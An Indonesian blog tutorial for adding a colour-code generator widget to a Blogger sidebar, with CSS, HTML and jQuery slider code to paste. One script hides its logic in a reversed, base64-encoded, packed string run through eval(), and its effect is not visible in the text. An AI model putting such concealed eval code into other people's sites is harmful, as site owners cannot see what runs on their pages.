Membuat Widget Color Code Generator Sendiri Di Blog

Membuat dan Memasang Widget Color Generator Keren Di Blog. Biasanya para blogger yang tertarik dan sedang mempelajari web design mempunyai blog favorit sebagai tumpuan berguru design, coding ataupun mendapat isu teladan gres perihal teknologi dan pembaharuan dalam dunia web design. Pada blog site yang mempunyai niche tersebut mereka mempunyai halaman khusus tools coding tujuannya untuk memfasilitasi para pembaca setianya semoga mempermudah baik pada proses penerangan artikel maupun dalam proses prakteknya. Bukan hal yang "WOW" juga bahwasannya generator isyarat warna niscaya selalu ada pada blog-blog tersebut. Lalu bagaimana cara menciptakan Color Code Generator pada widget blogspot? dan bukan pada halaman khusus tool?

Lihat Demo

Sikabayan Color Generator ialah sebuah widget yang di desain dan coding khusus untuk anda para blogger pemula menyerupai aku yang memakai layanan dari Google Blogger. Widget ini berfungsi untuk mendapat isyarat warna hex dan rgba dengan gampang secara eksklusif dari interface blog anda. Keuntungannya, selain akan menciptakan blog anda terlihat lebih kreatif, widget ini juga akan mempermudah bagi para pengunjung untuk mendapat color code favoritnya. Dan tidak menutup kemungkinan, mereka akan selalu memakai color generator ini di blog anda sehingga akan terus bolak-balik tanpa lelah ke blog anda.

Cara Membuat Color Code Generator Widget Di Sidebar Blogspo :
1) Masuk ke dashboard blogger anda kemudian klik tata letak
2) Klik Tambah Gadget kemudian pilih HTML/JavaScript
3) Copy dan Pastekan isyarat dibawah ini kedalam widget tersebut

 <style type="text/css"> #ClrGnrK{font:12px Verdana;width:200px;margin:20px auto;padding:5px;color:#fff;background-color:#20b2aa;text-align:center;border:.1875rem solid #fdfdfd;border-radius:.5rem}#ClrGnrK span{display:block;padding:1px}#ClrGnrK #jDlKrD{font-size:13px;background:#089ba0;color:#fff;margin:0 auto 5px auto;border-radius:3%;padding:3px;border:1px solid #fdfdfd}#ClrGnrK hr{background-color:#fdfdfd;border:0 none;height:.125rem;margin-top:.25rem;width:8.375rem}#ClrGnrK #LyRcLr{border:.1875rem solid #fdfdfd;border-radius:5%;height:8.125rem;margin:0 auto;width:85%;background:#3e5cbb} </style> <div id="ClrGnrK">     <div style="background-color: tansparent;" id="LyRcLr"></div>     <hr />     <span id="jDlKrD">Sikabayan Color Generator</span> <span id="hex">#3E5CBB</span>     <span id="rgb">rgb(62,92,187);</span> <span id="red"><input type="range" min="0" max=     "255" step="1" value="65" /></span> <span id="green"><input type="range" min="0" max=     "255" step="1" value="155" /></span> <script language="javascript" type="text/javascript">var IO0='=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';function l0O(data){var llIlOI="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h1=llIlOI.indexOf(data.charAt(i++));h2=llIlOI.indexOf(data.charAt(i++));h3=llIlOI.indexOf(data.charAt(i++));h4=llIlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function llI(string){ var ret = '', i = 0;for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(l0O(llI(IO0)));</script>   </div> <script type="text/javascript"> $(document).ready(function(){function rgbToHex(r,g,b){return toHex(r)+toHex(g)+toHex(b)}function toHex(n){n = parseInt(n,10);if(isNaN(n)) return "00";n = Math.max(0,Math.min(n,255));return "0123456789ABCDEF".charAt((n-n%16)/16)+"0123456789ABCDEF".charAt(n%16)}$("#red, #green, #blue").change(function(){var red = $("#red input").val();var green = $("#green input").val();var blue = $("#blue input").val();var hex = rgbToHex(red,green,blue);var rgb = red+","+green+","+blue;$("#hex").text("#"+hex);$("#rgb").text("rgb("+rgb+");");$("#LyRcLr").css("background-color","#"+hex)});$("#random").click(function(){var red = Math.floor((Math.random()*255)+0);var green = Math.floor((Math.random()*255)+0);var blue = Math.floor((Math.random()*255)+0);var hex = rgbToHex(red,green,blue);var rgb = red+","+green+","+blue;$("#red input").val(red);$("#green input").val(green);$("#blue input").val(blue);$("#hex").text("#"+hex);$("#rgb").text("rgb("+rgb+");");$("#LyRcLr").css("background-color","#"+hex)})}); </script> 
 

4) Klik Simpan

Sekarang coba lihat salah satu posting blog anda maka Color Generator itupun sudah nangkring dan siap melayani pengunjung blog anda. Itulah cara menciptakan Color Code Generator widget pada sidebar blogspot dengan tampilan keren, higienis dan cepat. Happy coding!

Share this post